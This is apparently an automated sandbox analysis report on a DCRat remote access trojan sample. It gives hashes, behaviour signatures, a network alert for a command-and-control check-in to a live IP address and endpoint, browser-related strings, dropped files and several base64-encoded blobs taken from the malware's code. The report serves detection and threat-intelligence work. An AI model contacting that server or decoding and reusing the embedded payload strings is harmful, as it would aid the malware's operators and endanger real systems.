Edit tour

Windows Analysis Report
Gez0dmj6yl.exe

Overview

General Information

Sample name:	Gez0dmj6yl.exe renamed because original name is a hash value
Original sample name:	56EC657202ACA3CE001ECBE1557B7987.exe
Analysis ID:	1502497
MD5:	56ec657202aca3ce001ecbe1557b7987
SHA1:	254e0d6617da45b7039986242c0829f899095e63
SHA256:	060bc93649daea8b3b98dc802a87a731160fef81c6c15449bde37288827e1372
Tags:	DCRatexe
Infos:

Detection

DCRat

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for dropped file

Detected unpacking (creates a PE file in dynamic memory)

Multi AV Scanner detection for domain / URL

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected DCRat

.NET source code contains potential unpacker

.NET source code contains very large strings

AI detected suspicious sample

Machine Learning detection for dropped file

Machine Learning detection for sample

Queries sensitive Plug and Play Device Information (via WMI, Win32_PnPEntity, often done to detect virtual machines)

Sample uses string decryption to hide its real strings

Tries to harvest and steal browser information (history, passwords, etc)

Abnormal high CPU Usage

Allocates memory with a write watch (potentially for evading sandboxes)

Contains long sleeps (>= 3 min)

Creates a window with clipboard capturing capabilities

Detected potential crypto function

Dropped file seen in connection with other malware

Drops PE files

Drops files with a non-matching file extension (content does not match file extension)

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Found inlined nop instructions (likely shell or obfuscated code)

Internet Provider seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains executable resources (Code or Archives)

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Uses 32bit PE files

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Classification

Process Tree

System is w10x64

Gez0dmj6yl.exe (PID: 2436 cmdline: "C:\Users\user\Desktop\Gez0dmj6yl.exe" MD5: 56EC657202ACA3CE001ECBE1557B7987)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
DCRat	DCRat is a typical RAT that has been around since at least June 2019.	No Attribution	https://axmahr.github.io/posts/asyncrat-detection/ https://blog.sekoia.io/privateloader-the-loader-of-the-prevalent-ruzki-ppi-service/ https://blog.talosintelligence.com/2021/10/crimeware-targets-afghanistan-india.html https://blog.talosintelligence.com/2022/08/modernloader-delivers-multiple-stealers.html https://blogs.blackberry.com/en/2022/01/kraken-the-code-on-prometheus	https://malpedia.caad.fkie.fraunhofer.de/details/win.dcrat

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
Gez0dmj6yl.exe	JoeSecurity_DCRat_1	Yara detected DCRat	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000000.00000000.2005683650.0000000000A52000.00000002.00000001.01000000.00000003.sdmp	JoeSecurity_DCRat_1	Yara detected DCRat	Joe Security
00000000.00000002.4469304396.0000000002E41000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_DCRat_1	Yara detected DCRat	Joe Security
00000000.00000002.4469304396.0000000003197000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_DCRat_1	Yara detected DCRat	Joe Security
Process Memory Space: Gez0dmj6yl.exe PID: 2436	JoeSecurity_DCRat_1	Yara detected DCRat	Joe Security

Unpacked PEs

Source	Rule	Description	Author	Strings
0.0.Gez0dmj6yl.exe.a50000.0.unpack	JoeSecurity_DCRat_1	Yara detected DCRat	Joe Security

Suricata Signatures

ET MALWARE [ANY.RUN] DarkCrystal Rat Check-in (POST) - Source IP: 192.168.2.5 - Destination IP: 94.158.244.70

Timestamp:	2024-09-01T23:56:55.310218+0200
SID:	2048095
Severity:	1
Source Port:	49704
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

HTTP traffic detected: POST /PipeRequestPollPrivatedownloads.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.55 Safari/537.36 Edg/96.0.1054.34Host: 94.158.244.70Content-Length: 344Expect: 100-continueConnection: Keep-Alive

Source: Gez0dmj6yl.exe, 00000000.00000002.4469304396.0000000003197000.00000004.00000800.00020000.00000000.sdmp, Gez0dmj6yl.exe, 00000000.00000002.4469304396.0000000002FD7000.00000004.00000800.00020000.00000000.sdmp, Gez0dmj6yl.exe, 00000000.00000002.4469304396.0000000003084000.00000004.00000800.00020000.00000000.sdmp, Gez0dmj6yl.exe, 00000000.00000002.4469304396.0000000002E41000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://94.158.244.70
Source: Gez0dmj6yl.exe, 00000000.00000002.4469304396.0000000002E41000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://94.158.244.70/
Source: Gez0dmj6yl.exe, 00000000.00000002.4469304396.0000000002F7A000.00000004.00000800.00020000.00000000.sdmp, Gez0dmj6yl.exe, 00000000.00000002.4469304396.0000000003197000.00000004.00000800.00020000.00000000.sdmp, Gez0dmj6yl.exe, 00000000.00000002.4469304396.0000000002FD7000.00000004.00000800.00020000.00000000.sdmp, Gez0dmj6yl.exe, 00000000.00000002.4469304396.0000000003084000.00000004.00000800.00020000.00000000.sdmp, Gez0dmj6yl.exe, 00000000.00000002.4469304396.0000000002E41000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://94.158.244.70/PipeRequestPollPrivatedownloads.php
Source: Gez0dmj6yl.exe, 00000000.00000002.4469304396.0000000002E41000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: Gez0dmj6yl.exe, 00000000.00000002.4470781101.0000000013318000.00000004.00000800.00020000.00000000.sdmp, Gez0dmj6yl.exe, 00000000.00000002.4470781101.0000000012FB0000.00000004.00000800.00020000.00000000.sdmp, Gez0dmj6yl.exe, 00000000.00000002.4470781101.0000000013007000.00000004.00000800.00020000.00000000.sdmp, EslhR2gR4A.0.dr, EKADtZ6ith.0.dr, BwThtE3YE8.0.dr, PGQkBRpwZZ.0.dr, wvXzQ57pMu.0.dr, fzFjnOzdg4.0.dr, RE39ECZ03Y.0.dr, DlkraFHFJC.0.dr, 2Se5KAbRtV.0.dr, RdwOd2WlOk.0.dr, 5Q39zeTH68.0.dr, yPZ5JxF9Yq.0.dr, mbyfk4HT76.0.dr, 4iflnrhWQ0.0.dr, oCs7eLUTOn.0.dr, rCAfzxg8Lp.0.dr, VQlntwBvBo.0.dr, 0gP0jjHGHE.0.dr	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: Gez0dmj6yl.exe, 00000000.00000002.4470781101.0000000013318000.00000004.00000800.00020000.00000000.sdmp, Gez0dmj6yl.exe, 00000000.00000002.4470781101.0000000012FB0000.00000004.00000800.00020000.00000000.sdmp, Gez0dmj6yl.exe, 00000000.00000002.4470781101.0000000013007000.00000004.00000800.00020000.00000000.sdmp, EslhR2gR4A.0.dr, EKADtZ6ith.0.dr, BwThtE3YE8.0.dr, PGQkBRpwZZ.0.dr, wvXzQ57pMu.0.dr, fzFjnOzdg4.0.dr, RE39ECZ03Y.0.dr, DlkraFHFJC.0.dr, 2Se5KAbRtV.0.dr, RdwOd2WlOk.0.dr, 5Q39zeTH68.0.dr, yPZ5JxF9Yq.0.dr, mbyfk4HT76.0.dr, 4iflnrhWQ0.0.dr, oCs7eLUTOn.0.dr, rCAfzxg8Lp.0.dr, VQlntwBvBo.0.dr, 0gP0jjHGHE.0.dr	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: Gez0dmj6yl.exe, 00000000.00000002.4470781101.0000000013318000.00000004.00000800.00020000.00000000.sdmp, Gez0dmj6yl.exe, 00000000.00000002.4470781101.0000000012FB0000.00000004.00000800.00020000.00000000.sdmp, Gez0dmj6yl.exe, 00000000.00000002.4470781101.0000000013007000.00000004.00000800.00020000.00000000.sdmp, EslhR2gR4A.0.dr, EKADtZ6ith.0.dr, BwThtE3YE8.0.dr, PGQkBRpwZZ.0.dr, wvXzQ57pMu.0.dr, fzFjnOzdg4.0.dr, RE39ECZ03Y.0.dr, DlkraFHFJC.0.dr, 2Se5KAbRtV.0.dr, RdwOd2WlOk.0.dr, 5Q39zeTH68.0.dr, yPZ5JxF9Yq.0.dr, mbyfk4HT76.0.dr, 4iflnrhWQ0.0.dr, oCs7eLUTOn.0.dr, rCAfzxg8Lp.0.dr, VQlntwBvBo.0.dr, 0gP0jjHGHE.0.dr	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: Gez0dmj6yl.exe, 00000000.00000002.4470781101.0000000013318000.00000004.00000800.00020000.00000000.sdmp, Gez0dmj6yl.exe, 00000000.00000002.4470781101.0000000012FB0000.00000004.00000800.00020000.00000000.sdmp, Gez0dmj6yl.exe, 00000000.00000002.4470781101.0000000013007000.00000004.00000800.00020000.00000000.sdmp, EslhR2gR4A.0.dr, EKADtZ6ith.0.dr, BwThtE3YE8.0.dr, PGQkBRpwZZ.0.dr, wvXzQ57pMu.0.dr, fzFjnOzdg4.0.dr, RE39ECZ03Y.0.dr, DlkraFHFJC.0.dr, 2Se5KAbRtV.0.dr, RdwOd2WlOk.0.dr, 5Q39zeTH68.0.dr, yPZ5JxF9Yq.0.dr, mbyfk4HT76.0.dr, 4iflnrhWQ0.0.dr, oCs7eLUTOn.0.dr, rCAfzxg8Lp.0.dr, VQlntwBvBo.0.dr, 0gP0jjHGHE.0.dr	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: Gez0dmj6yl.exe, 00000000.00000002.4470781101.0000000013318000.00000004.00000800.00020000.00000000.sdmp, Gez0dmj6yl.exe, 00000000.00000002.4470781101.0000000012FB0000.00000004.00000800.00020000.00000000.sdmp, Gez0dmj6yl.exe, 00000000.00000002.4470781101.0000000013007000.00000004.00000800.00020000.00000000.sdmp, EslhR2gR4A.0.dr, EKADtZ6ith.0.dr, BwThtE3YE8.0.dr, PGQkBRpwZZ.0.dr, wvXzQ57pMu.0.dr, fzFjnOzdg4.0.dr, RE39ECZ03Y.0.dr, DlkraFHFJC.0.dr, 2Se5KAbRtV.0.dr, RdwOd2WlOk.0.dr, 5Q39zeTH68.0.dr, yPZ5JxF9Yq.0.dr, mbyfk4HT76.0.dr, 4iflnrhWQ0.0.dr, oCs7eLUTOn.0.dr, rCAfzxg8Lp.0.dr, VQlntwBvBo.0.dr, 0gP0jjHGHE.0.dr	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: Gez0dmj6yl.exe, 00000000.00000002.4470781101.0000000013318000.00000004.00000800.00020000.00000000.sdmp, Gez0dmj6yl.exe, 00000000.00000002.4470781101.0000000012FB0000.00000004.00000800.00020000.00000000.sdmp, Gez0dmj6yl.exe, 00000000.00000002.4470781101.0000000013007000.00000004.00000800.00020000.00000000.sdmp, EslhR2gR4A.0.dr, EKADtZ6ith.0.dr, BwThtE3YE8.0.dr, PGQkBRpwZZ.0.dr, wvXzQ57pMu.0.dr, fzFjnOzdg4.0.dr, RE39ECZ03Y.0.dr, DlkraFHFJC.0.dr, 2Se5KAbRtV.0.dr, RdwOd2WlOk.0.dr, 5Q39zeTH68.0.dr, yPZ5JxF9Yq.0.dr, mbyfk4HT76.0.dr, 4iflnrhWQ0.0.dr, oCs7eLUTOn.0.dr, rCAfzxg8Lp.0.dr, VQlntwBvBo.0.dr, 0gP0jjHGHE.0.dr	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: Gez0dmj6yl.exe, 00000000.00000002.4470781101.0000000013318000.00000004.00000800.00020000.00000000.sdmp, Gez0dmj6yl.exe, 00000000.00000002.4470781101.0000000012FB0000.00000004.00000800.00020000.00000000.sdmp, Gez0dmj6yl.exe, 00000000.00000002.4470781101.0000000013007000.00000004.00000800.00020000.00000000.sdmp, EslhR2gR4A.0.dr, EKADtZ6ith.0.dr, BwThtE3YE8.0.dr, PGQkBRpwZZ.0.dr, wvXzQ57pMu.0.dr, fzFjnOzdg4.0.dr, RE39ECZ03Y.0.dr, DlkraFHFJC.0.dr, 2Se5KAbRtV.0.dr, RdwOd2WlOk.0.dr, 5Q39zeTH68.0.dr, yPZ5JxF9Yq.0.dr, mbyfk4HT76.0.dr, 4iflnrhWQ0.0.dr, oCs7eLUTOn.0.dr, rCAfzxg8Lp.0.dr, VQlntwBvBo.0.dr, 0gP0jjHGHE.0.dr	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: Gez0dmj6yl.exe, 00000000.00000002.4470781101.0000000013318000.00000004.00000800.00020000.00000000.sdmp, Gez0dmj6yl.exe, 00000000.00000002.4470781101.0000000012FB0000.00000004.00000800.00020000.00000000.sdmp, Gez0dmj6yl.exe, 00000000.00000002.4470781101.0000000013007000.00000004.00000800.00020000.00000000.sdmp, EslhR2gR4A.0.dr, EKADtZ6ith.0.dr, BwThtE3YE8.0.dr, PGQkBRpwZZ.0.dr, wvXzQ57pMu.0.dr, fzFjnOzdg4.0.dr, RE39ECZ03Y.0.dr, DlkraFHFJC.0.dr, 2Se5KAbRtV.0.dr, RdwOd2WlOk.0.dr, 5Q39zeTH68.0.dr, yPZ5JxF9Yq.0.dr, mbyfk4HT76.0.dr, 4iflnrhWQ0.0.dr, oCs7eLUTOn.0.dr, rCAfzxg8Lp.0.dr, VQlntwBvBo.0.dr, 0gP0jjHGHE.0.dr	String found in binary or memory: https://www.ecosia.org/newtab/
Source: Gez0dmj6yl.exe, 00000000.00000002.4470781101.0000000013318000.00000004.00000800.00020000.00000000.sdmp, Gez0dmj6yl.exe, 00000000.00000002.4470781101.0000000012FB0000.00000004.00000800.00020000.00000000.sdmp, Gez0dmj6yl.exe, 00000000.00000002.4470781101.0000000013007000.00000004.00000800.00020000.00000000.sdmp, EslhR2gR4A.0.dr, EKADtZ6ith.0.dr, BwThtE3YE8.0.dr, PGQkBRpwZZ.0.dr, wvXzQ57pMu.0.dr, fzFjnOzdg4.0.dr, RE39ECZ03Y.0.dr, DlkraFHFJC.0.dr, 2Se5KAbRtV.0.dr, RdwOd2WlOk.0.dr, 5Q39zeTH68.0.dr, yPZ5JxF9Yq.0.dr, mbyfk4HT76.0.dr, 4iflnrhWQ0.0.dr, oCs7eLUTOn.0.dr, rCAfzxg8Lp.0.dr, VQlntwBvBo.0.dr, 0gP0jjHGHE.0.dr	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico

Source: C:\Users\user\Desktop\Gez0dmj6yl.exe

Window created: window name: CLIPBRDWNDCLASS

Jump to behavior

System Summary

.NET source code contains very large strings

Source: Gez0dmj6yl.exe, s67.cs

Long String: Length: 97628

Source: C:\Users\user\Desktop\Gez0dmj6yl.exe

Process Stats: CPU usage > 49%

Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	Code function: 0_2_00007FF848F11EC3	0_2_00007FF848F11EC3
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	Code function: 0_2_00007FF848F21D55	0_2_00007FF848F21D55
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	Code function: 0_2_00007FF8490F3EBE	0_2_00007FF8490F3EBE
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	Code function: 0_2_00007FF8490FDC45	0_2_00007FF8490FDC45
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	Code function: 0_2_00007FF8490F39F2	0_2_00007FF8490F39F2
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	Code function: 0_2_00007FF8490FDC05	0_2_00007FF8490FDC05
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	Code function: 0_2_00007FF8490F1745	0_2_00007FF8490F1745

Source: Joe Sandbox View	Dropped File: C:\Users\user\Desktop\BRNOuKzz.log 7C95D3B38114E7E4126CB63AADAF80085ED5461AB0868D2365DD6A18C946EA3A
Source: Joe Sandbox View	Dropped File: C:\Users\user\Desktop\wWLxmeJG.log AAB95596475CA74CEDE5BA50F642D92FA029F6F74F6FAEAE82A9A07285A5FB97

Source: BRNOuKzz.log.0.dr	Static PE information: Resource name: RT_VERSION type: ARM COFF executable, no relocation info, not stripped, 52 sections, symbol offset=0x5f0053, 4522070 symbols, optional header size 82, created Sat Mar 7 05:34:56 1970
Source: wWLxmeJG.log.0.dr	Static PE information: Resource name: RT_VERSION type: ARM COFF executable, no relocation info, not stripped, 52 sections, symbol offset=0x5f0053, 4522070 symbols, optional header size 82, created Sat Mar 7 05:34:56 1970

Source: Gez0dmj6yl.exe, 00000000.00000000.2005743620.0000000000AFC000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameVisualStudio.Shell.Framework.dll$ vs Gez0dmj6yl.exe
Source: Gez0dmj6yl.exe	Binary or memory string: OriginalFilenameVisualStudio.Shell.Framework.dll$ vs Gez0dmj6yl.exe

Source: Gez0dmj6yl.exe

Static PE information: EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE, 32BIT_MACHINE

Source: Gez0dmj6yl.exe, E32.cs	Cryptographic APIs: 'TransformBlock'
Source: Gez0dmj6yl.exe, E32.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: Gez0dmj6yl.exe, E32.cs	Cryptographic APIs: 'TransformFinalBlock', 'TransformBlock'
Source: BRNOuKzz.log.0.dr, -.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: wWLxmeJG.log.0.dr, -.cs	Cryptographic APIs: 'TransformFinalBlock'

Source: Gez0dmj6yl.exe, s67.cs	Base64 encoded string: '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
Source: Gez0dmj6yl.exe, 8B6.cs	Base64 encoded string: 'H4sIAAAAAAAEAMsoKSkottLXzyzIzEvL18vM188qzs8DACTOYY8WAAAA', 'H4sIAAAAAAAACssoKSkottLXTyzI1Mss0CtO0k9Pzc8sAABsWDNKFwAAAA=='
Source: Gez0dmj6yl.exe, 76n.cs	Base64 encoded string: 'ViJgev0baqxxJN+PKLsLelyweDITgKhFWJWLvEQmi2aTVL/1zvdE14GNy9qnS3t8XRWmDqRbNJuiezkm/w4/Sc6NQzhxeypGUXNDJHfldH2syOUK7naDr4UDkw4UQDxO+bFFHouQt8AdSygVyZxsbQ==', 'nXy1LwaMzqUzcGUKDhH+QyShlAKHO+WSSPY0lcZhbU+RabJS2nYq8pr6V3jKHTkRZgxRi4Y5NM8SUfMLz99tFA/VOhziH3gkJVuLu8flJpmzquIO5Ti7o1o86o+ZClTxymFSqRVMz4Aj9njzh7gUvEoKuAjOCXwOSfwD+97+hCSxe6Vgp3v3NE2v0iALvEXiZ7xTMoTZ6WGAZhNXaWoqcvNZKdf6k/fnLds8w5ugqH3OGiRsYwPyCVaNdEB3XpoV'
Source: Gez0dmj6yl.exe, 7YK.cs	Base64 encoded string: 'nqQe7+3Uj2uGO2v8XldJ7YuGNRWfct1rSuMFUcf/slpJTo7vG+MT1rt20QZOq3gLQj7Bnsj/sR7ZC8RvQKFYsrpfB4x+fYW+5yHB1xaJ1QFfUrFz6IHdKvjQoz4QoWxZp2zv0vh7bEziMsaqAuQLP3YwS8YutZsX2Y7FQjeX+HfrTMdcf9dXlmJJBQ4Dram+EZGawiFgR/RK8wIJRn0rbOCLwJ9xQScRyTWxBXN/Tk36tx+im8iNGgnPloP2xkq8V6Xg3xhlf8w+mpa8svKSn0oRydcRzWiiyXcWjoSz4OCRpsWWv4+psbjLsOkKgp7tcE/2oIfnWBxiOl9vEWByFm2u910YTMGD9mEr4y8H/1GSyzCvWyGCC89Kk9mLszNhWj9MeneAIPK7w1Dc9zASHMSiyHzZ1F2FjrnJxvPtTs86wRA2kXSWV/si70BZnicr1V4ZlOsl08xkiMZK1rahoKuYF0FXOLIO5ySDsaExfY6YO5iN0iRblvtoVPQ6B5+3g8NN8sYfnyL2zrkLWZ4ALjudYqRUDdp4Db0sQTTZdfpsGza7pastAPJca+XQ4S4Qye07fr78AvOhgjX5fWKRY1T7+W40xRViy8lHMPRj5g4y+0rda2XUhoELH64SkmH6dJJwXfDQB+KZhsd5TItj1Q2bmRHf/pJ+n7eYiS+V74OvPO3n32dTV0AtUHb45O1o5Avm0M3bvkZw5ihamm9CmgKyjUiR8q+03lu5f2dBwfKOWbdd2LVr093H/WQApxtO/Ozmc8hFu7lEfpWc2Pb7kM0ZtEVbfWRJ4BkVQF2BbwHUEkObVxu+RMX/dtvHLQHnztGiy6jvDU/AiV6Hw1gAOwBAX9yk+uTPab9TMe8saO3suMp15WnBGV9A35mfs05dRzjbrjhcCgAAQtmtzg3J/7FKmuCpS8+FgQ3O5WoGdcufK5l1tEGlmOFy1SRAmKu2wkALaDJfUpiCp1bDCbPagDv3fxyIkkUY3YRw2RrYVjORXOFlye8sVjeKaV4ZILgp9uqKb/CqSr+1fkfGhCzfoA=='
Source: Gez0dmj6yl.exe, 52Z.cs	Base64 encoded string: 'ICBfX18gICAgICAgICAgIF8gICAgICBfX18gICAgICAgICAgICAgXyAgICAgICAgXyAgIF9fXyAgICBfIF9fX19fIA0KIHwgICBcIF9fIF8gXyBffCB8X18gIC8gX198XyBfIF8gIF8gX198IHxfIF9fIF98IHwgfCBfIFwgIC9fXF8gICBffA0KIHwgfCkgLyBfYCB8ICdffCAvIC8gfCAoX198ICdffCB8fCAoXy08ICBfLyBfYCB8IHwgfCAgIC8gLyBfIFx8IHwgIA0KIHxfX18vXF9fLF98X3wgfF9cX1wgIFxfX198X3wgIFxfLCAvX18vXF9fXF9fLF98X3wgfF98X1wvXy8gXF9cX3wgIA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHxfXy8gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA=='

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@1/257@0/1

Source: C:\Users\user\Desktop\Gez0dmj6yl.exe

File created: C:\Users\user\Desktop\BRNOuKzz.log

Jump to behavior

Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	Mutant created: NULL
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\c13275357a685fa734ed48142b53c64800466aa66229880a2f800b9b6b4c683c

Source: C:\Users\user\Desktop\Gez0dmj6yl.exe

File created: C:\Users\user\AppData\Local\Temp\7NrxD7xfML

Jump to behavior

Source: Gez0dmj6yl.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: Gez0dmj6yl.exe

Static file information: TRID: Win32 Executable (generic) Net Framework (10011505/4) 49.79%

Source: C:\Users\user\Desktop\Gez0dmj6yl.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: L16lcbsOTl.0.dr, hs7rxtVPr3.0.dr, J5mV4oWkha.0.dr, Gys5pv7PJT.0.dr, pOembzlyqY.0.dr, dMaNdUZFRR.0.dr, 4dX3iO1WxO.0.dr, n9F5GazNRA.0.dr, SZM931RWML.0.dr, qETOOeueRi.0.dr, cP6uHHWAId.0.dr, lU5LTLMpVO.0.dr, q2TbOYeFIP.0.dr, 6td2d5eOxy.0.dr, mzYI4iGg7G.0.dr, BEBMCdMQq1.0.dr, U0EMDS3MFe.0.dr, yjJxpx5zfi.0.dr, TshucsTFrQ.0.dr, HAyEfRytJX.0.dr, bXLbhpGRsN.0.dr, x1Oq0YyKJZ.0.dr, 99JYRymmpk.0.dr, 5uSfBy3UrR.0.dr, EpYGjFxaDQ.0.dr, oprt3s0b6N.0.dr, Yv7TOe0dAy.0.dr, 9P8I1i1GWp.0.dr, 7koqpgH0Cu.0.dr, RHsI6JckDf.0.dr, saD1j9AKju.0.dr, CllykLwAVW.0.dr, TSQLrhNJ4Z.0.dr, f2GdRVB5sV.0.dr, FqsI4v2JDx.0.dr, 6Z41VneGDW.0.dr, biGHzWgrXU.0.dr, j31izAkns5.0.dr, T7rvRlKwtG.0.dr, XdKKVddbnb.0.dr, cS3oZtHDTr.0.dr, f83KgHCSX3.0.dr, 